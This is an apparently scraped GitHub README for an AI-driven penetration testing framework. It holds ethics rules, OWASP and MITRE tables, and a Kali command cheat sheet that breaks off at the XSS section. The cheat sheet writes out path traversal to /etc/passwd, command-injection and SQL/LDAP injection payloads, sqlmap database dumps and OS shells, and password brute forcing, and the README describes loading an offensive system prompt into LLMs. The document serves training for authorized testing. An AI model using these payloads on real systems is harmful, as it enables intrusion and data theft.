m524security/AIPT

GitHub: m524security/AIPT

一个基于AI的渗透测试与红队框架,整合MITRE ATT&CK、OWASP等方法论,通过LLM系统提示词驱动全链路攻击分析与漏洞验证。

Stars: 0 | Forks: 0

# 🔴 AI-Powered Penetration Testing & Red Team Framework ## 📋 Table of Contents 1. [Overview](#overview) 2. [Legal & Ethical Framework](#legal--ethical-framework) 3. [System Architecture](#system-architecture) 4. [AI System Prompt](#ai-system-prompt) 5. [Methodology Frameworks](#methodology-frameworks) 6. [Kali Linux Cheat Sheet](#kali-linux-cheat-sheet) - Phase 0: Environment Setup - Phase 1: Reconnaissance & OSINT - Phase 2: Web Application Testing - Phase 3: API Security Testing - Phase 4: Network Exploitation - Phase 5: Post-Exploitation & Privilege Escalation - Phase 6: AI/LLM Security Testing - Phase 7: Reporting & Documentation 7. [Vulnerability Chaining](#vulnerability-chaining) 8. [False Positive Reduction](#false-positive-reduction) 9. [Tool Integration Matrix](#tool-integration-matrix) 10. [MITRE ATT&CK v19 Mapping](#mitre-attck-v19-mapping) 11. [Quick Reference](#quick-reference) 12. [Contributing](#contributing) 13. [License](#license) ## 🎯 Overview This framework provides a **comprehensive, rigorous, and aggressive** approach to authorized penetration testing, red team operations, and offensive cybersecurity research. Designed specifically for: - ✅ **Authorized lab environments** (Oracle VM + Kali Linux) - ✅ **Bug bounty programs** with explicit scope definitions - ✅ **Security certification preparation** (OSCP, CEH, GPEN, GWAPT) - ✅ **AI/LLM security research** and adversarial testing - ✅ **Defensive skill development** through offensive understanding ### Key Features | Feature | Description | |---------|-------------| | **AI-Native** | LLM-powered analysis with structured reasoning chains | | **Framework-Agnostic** | Integrates MITRE ATT&CK, OWASP, PTES, NIST AI RMF | | **False-Positive Aware** | Multi-layer validation before reporting findings | | **Chain-Oriented** | Maps vulnerability chains for maximum impact assessment | | **Cloud-Ready** | Covers AWS, Azure, GCP, Kubernetes, Serverless | | **AI-Security** | Includes OWASP LLM Top 10:2025 & Agentic Top 10:2026 | ## ⚖️ Legal & Ethical Framework ### 🔴 CRITICAL: Authorization Requirements +-----------------------------------------------------------------------------+ | BEFORE ANY TESTING, YOU MUST HAVE: | | | | ✓ WRITTEN authorization from the system owner | | ✓ DEFINED scope (in-scope and out-of-scope boundaries) | | ✓ EMERGENCY contacts for immediate escalation | | ✓ RULES of engagement (RoE) document signed by all parties | | ✓ LIABILITY waiver and insurance coverage (for professional engagements) | | ✓ DATA handling agreement (GDPR, CCPA compliance where applicable) | +-----------------------------------------------------------------------------+ ### Prohibited Activities - ❌ Testing systems without explicit written authorization - ❌ Exploiting vulnerabilities in production without approval - ❌ Causing denial of service without explicit permission - ❌ Exfiltrating sensitive data beyond scope - ❌ Sharing findings with unauthorized third parties - ❌ Using exploits for 0-day vulnerabilities without responsible disclosure - ❌ Social engineering against real individuals without consent ### Responsible Disclosure If you discover a vulnerability: 1. **STOP** immediately and document your findings 2. **NOTIFY** the system owner through proper channels 3. **WAIT** for acknowledgment before further testing 4. **PROVIDE** a reasonable remediation timeline (90 days standard) 5. **COORDINATE** public disclosure with the vendor ## 🏗️ System Architecture +-----------------------------------------------------------------------------+ | AI PENETRATION TESTING FRAMEWORK | +-----------------------------------------------------------------------------+ | LAYER 1: AI ORCHESTRATION | | +- System Prompt (Role Definition, Behavioral Directives) | | +- Context Management (Target, Scope, RoE) | | +- Chain-of-Thought Reasoning (Attack Path Analysis) | | +- Output Validation (False Positive Reduction) | +-----------------------------------------------------------------------------+ | LAYER 2: METHODOLOGY ENGINE | | +- MITRE ATT&CK v19 (15 Tactics, 222 Techniques) | | +- OWASP Top 10:2025 (Web Applications) | | +- OWASP API Security Top 10:2023 | | +- OWASP LLM Top 10:2025 & Agentic Top 10:2026 | | +- PTES (Penetration Testing Execution Standard) | | +- NIST AI RMF + Generative AI Profile | +-----------------------------------------------------------------------------+ | LAYER 3: TOOL INTEGRATION | | +- Kali Linux Default Toolset | | +- Custom Scripts & Automation | | +- MCP Server Integration (Burp Suite, Metasploit, etc.) | | +- Cloud CLI Tools (AWS CLI, Azure CLI, gcloud) | +-----------------------------------------------------------------------------+ | LAYER 4: REPORTING & DOCUMENTATION | | +- CVSS v3.1 Scoring | | +- CWE Mapping | | +- Attack Chain Visualization | | +- Remediation Roadmap | | +- Executive Summary Generation | +-----------------------------------------------------------------------------+ ## 🤖 AI System Prompt

Project Mind Map

### Usage Instructions 1. **Copy the system prompt** from `prompts/system-prompt.md` 2. **Configure target parameters** in the `[INSERT: ...]` placeholders 3. **Load into your AI system** (Claude, GPT-4, Gemini, or local LLM) 4. **Validate outputs** against the false positive checklist ### Prompt Structure ROLE DEFINITION +- Senior Offensive Security Engineer (15+ years) +- Red Team Operator +- Penetration Testing Architect +- AI/LLM Security Specialist BEHAVIORAL DIRECTIVES +- Explain the "WHY" behind each technique +- Provide multiple exploitation paths +- Suggest defense mechanisms alongside offense +- Validate findings before reporting +- Consider business context and realistic impact +- Prioritize by exploitability + impact OUTPUT FORMAT +- Phase 1: Reconnaissance +- Phase 2: Mapping & Scanning +- Phase 3: Vulnerability Analysis +- Phase 4: Exploitation (PoC Only) +- Phase 5: Post-Exploitation (If Authorized) +- Phase 6: Reporting ### Target Configuration Template target: name: "Example Corp Lab Environment" type: "Web Application + API + Cloud Infrastructure" urls: - "https://lab.example.com" - "https://api.lab.example.com" ips: - "192.168.1.0/24" scope_in: - "https://lab.example.com/*" - "https://api.lab.example.com/v1/*" - "192.168.1.10-192.168.1.50" - "AWS S3 bucket: lab-assets-example" scope_out: - "https://prod.example.com/*" - "192.168.1.1 (Router/Gateway)" - "Third-party services (Stripe, SendGrid)" - "Employee personal devices" rules_of_engagement: - "No destructive testing without explicit approval" - "No social engineering against real employees" - "Maximum 1000 requests/minute to avoid DoS" - "Business hours testing only (9 AM - 5 PM EST)" - "Immediate notification for Critical findings" ## 📚 Methodology Frameworks ### 1. OWASP Top 10:2025 | Rank | Category | Key Tests | Tools | |------|----------|-----------|-------| | A01 | Broken Access Control | IDOR, path traversal, forced browsing | Burp Suite, curl, custom scripts | | A02 | Security Misconfiguration | Default configs, verbose errors, misheaders | Nikto, Nmap scripts, testssl.sh | | A03 | Software Supply Chain | Vulnerable dependencies, outdated libs | retire.js, npm audit, Snyk | | A04 | Cryptographic Failures | Weak algorithms, key management | testssl.sh, sslscan, openssl | | A05 | Injection | SQLi, NoSQLi, Command, LDAP, XPath | sqlmap, commix, custom payloads | | A06 | Insecure Design | Business logic flaws, race conditions | Manual testing, custom scripts | | A07 | Authentication Failures | Weak passwords, session flaws, JWT | Hydra, jwt_tool, Burp Suite | | A08 | Data Integrity Failures | Deserialization, unsigned data | ysoserial, pickle payloads | | A09 | Logging Failures | Missing logs, WAF bypass | Manual verification, log analysis | | A10 | Exception Handling | Information disclosure, crashes | Fuzzing, error analysis | ### 2. OWASP API Security Top 10:2023 | Rank | Category | Key Tests | |------|----------|-----------| | API1 | Broken Object Level Auth | Change object IDs, test horizontal access | | API2 | Broken Authentication | JWT weaknesses, weak API keys, missing auth | | API3 | Broken Object Property Auth | Mass assignment, property tampering | | API4 | Unrestricted Resource Consumption | Rate limiting, resource exhaustion | | API5 | Broken Function Level Auth | Admin endpoints with user tokens | | API6 | Unrestricted Business Flows | Purchase limits, registration abuse | | API7 | Server-Side Request Forgery | URL parameters, internal service access | | API8 | Security Misconfiguration | CORS, headers, verbose errors | | API9 | Improper Inventory Management | Hidden endpoints, old API versions | | API10 | Unsafe API Consumption | Third-party integration abuse | ### 3. MITRE ATT&CK v19 (April 2026) **New in v19:** - Defense Evasion split into **Stealth** and **Defense Impairment** - 15 Tactics | 222 Techniques | 475 Sub-techniques - Enhanced AI/ML-specific techniques - Cloud-native attack patterns **Tactics Chain:** Reconnaissance -> Resource Development -> Initial Access -> Execution -> Persistence -> Privilege Escalation -> Defense Evasion -> Credential Access -> Discovery -> Lateral Movement -> Collection -> Command and Control -> Exfiltration -> Impact -> Stealth ### 4. OWASP LLM Top 10:2025 & Agentic Top 10:2026 | Rank | LLM Category | Agentic Category | |------|--------------|------------------| | 01 | Prompt Injection | Goal Hijacking | | 02 | Insecure Output Handling | Tool Misuse | | 03 | Training Data Poisoning | Identity Abuse | | 04 | Model Denial of Service | Agent Escape | | 05 | Supply Chain Vulnerabilities | Insecure Multi-Agent Communication | | 06 | Sensitive Information Disclosure | Memory Poisoning | | 07 | Insecure Plugin Design | Insecure Inter-Agent Communication | | 08 | Excessive Agency | Agentic Supply Chain | | 09 | Overreliance | Agentic Data Exfiltration | | 10 | Model Theft | Agentic Denial of Service | ## 🐉 Kali Linux Cheat Sheet ### Phase 0: Environment Setup # System Update sudo apt update && sudo apt full-upgrade -y # Install Kali Metapackages sudo apt install -y kali-linux-default # Core tools sudo apt install -y kali-linux-headless # Headless tools sudo apt install -y kali-linux-web # Web app testing sudo apt install -y kali-linux-wireless # Wireless testing sudo apt install -y kali-linux-top10 # Top 10 tools # Workspace Structure mkdir -p ~/pentest/{target_name}/{recon,scanning,exploitation,loot,report} # VPN Configuration sudo openvpn --config client.ovpn # Proxy Chains (for anonymization) sudo apt install proxychains -y # Edit: /etc/proxychains.conf -> socks5 127.0.0.1 9050 proxychains nmap -sT -Pn target.com ### Phase 1: Reconnaissance & OSINT #### Passive Reconnaissance # WHOIS & DNS whois target.com dig target.com ANY dig @ns1.target.com target.com AXFR dnsrecon -d target.com -t axfr dnsenum target.com # Subdomain Discovery subfinder -d target.com -o subs.txt amass enum -passive -d target.com -o amass.txt assetfinder --subs-only target.com findomain -t target.com -q # Certificate Transparency curl -s "https://crt.sh/?q=%.target.com&output=json" | \ jq -r '.[].name_value' | sort -u # Shodan & Censys shodan host target.com shodan search "hostname:target.com" # Google Dorking site:target.com filetype:pdf site:target.com inurl:admin site:target.com intitle:"index of" site:target.com ext:sql | ext:bak | ext:old # GitHub Recon gitGraber -k keywords.txt -q "target.com" truffleHog --regex --entropy=False https://github.com/org/repo.git # Email Harvesting theHarvester -d target.com -b all -f harvest.html # Visual Link Analysis maltego # GUI tool #### Active Reconnaissance # Host Discovery nmap -sn 192.168.1.0/24 # Ping sweep nmap -Pn -sS 192.168.1.0/24 # TCP SYN scan masscan 192.168.1.0/24 -p1-65535 --rate 1000 # Port Scanning nmap -sS -sV -O -p- target.com # Full port + version + OS nmap -sS -sV -sC -O -p- -T4 target.com # With default scripts nmap -sS -sV --script=vuln -p- target.com # Vulnerability scripts nmap -sU -p 53,67,68,88,161,162 target.com # UDP # Service Fingerprinting nmap -sV --version-intensity 9 target.com whatweb target.com wafw00f target.com # Banner Grabbing nc -v target.com 80 telnet target.com 22 # Directory Enumeration gobuster dir -u http://target.com \ -w /usr/share/wordlists/dirb/common.txt \ -x php,txt,html,js,json dirb http://target.com /usr/share/wordlists/dirb/common.txt ffuf -u http://target.com/FUZZ \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # Virtual Host Discovery gobuster vhost -u http://target.com \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt ### Phase 2: Web Application Testing #### OWASP Top 10:2025 Testing # A01: Broken Access Control # IDOR Testing curl -H "Cookie: session=admin" http://target.com/admin curl http://target.com/api/users/1 # Try 2,3,4... curl http://target.com/api/orders/1001 # Try other order IDs # Path Traversal curl http://target.com/../../etc/passwd curl http://target.com/..%2f..%2fetc%2fpasswd curl http://target.com/....//....//etc/passwd # Forced Browsing curl http://target.com/admin curl http://target.com/backup curl http://target.com/.env # A02: Security Misconfiguration curl -I http://target.com nmap --script http-security-headers target.com nikto -h http://target.com # A03: Supply Chain Failures retire.js --url http://target.com # Check package.json, requirements.txt, Gemfile # A04: Cryptographic Failures sslscan target.com testssl.sh target.com nmap --script ssl-enum-ciphers -p 443 target.com # A05: Injection # SQL Injection sqlmap -u "http://target.com/page.php?id=1" --dbs sqlmap -u "http://target.com/page.php?id=1" -D dbname --tables sqlmap -u "http://target.com/page.php?id=1" -D dbname -T users --dump sqlmap -u "http://target.com/page.php?id=1" --os-shell # Command Injection curl "http://target.com/ping.php?ip=127.0.0.1;id" curl "http://target.com/ping.php?ip=127.0.0.1|whoami" curl "http://target.com/ping.php?ip=`id`" # LDAP Injection # Payload: *)(uid=*))(&(uid=* # Payload: admin)(&)) # XPath Injection # Payload: ' or '1'='1 # Payload: ' or ''=' # A06: Insecure Design # Business Logic Testing curl -X POST -d "quantity=-1&price=0" http://target.com/cart/add curl -X POST -d "discount=100" http://target.com/checkout # Race Condition Testing # Send parallel requests with: parallel, curl, or custom scripts # A07: Authentication Failures # Brute Force hydra -l admin -P /usr/share/wordlists/rockyou.txt \ target.com http-post-form "/login:username=^USER^&password=^PASS^:F=invalid" # JWT Testing jwt_tool.py -t eyJ0eXAiOiJKV1Qi... -C jwt_tool.py -t eyJ0eXAiOiJKV1Qi... -X a # Session Fixation curl -c cookies.txt -b cookies.txt http://target.com/login # A08: Data Integrity Failures # Deserialization # Java: ysoserial payload generation # Python: pickle payloads # PHP: phar deserialization # A09: Logging Failures # Test if attacks are logged # Check for WAF presence and bypass opportunities # A10: Exception Handling # Fuzzing wfuzz -c -z file,/usr/share/wordlists/SecLists/Fuzzing/fuzz-BoBo.txt \ http://target.com/FUZZ #### XSS Testing # Basic Payloads
**🔴 Authorized Use Only | 🛡️ Test Responsibly | 📊 Report Ethically** *Last Updated: 2026-07-29 | Framework Version: 2026.7.29*
标签:AI, DLL 劫持, Modbus, Web报告查看器, 大语言模型, 实时处理, 密码管理, 自动化代码审查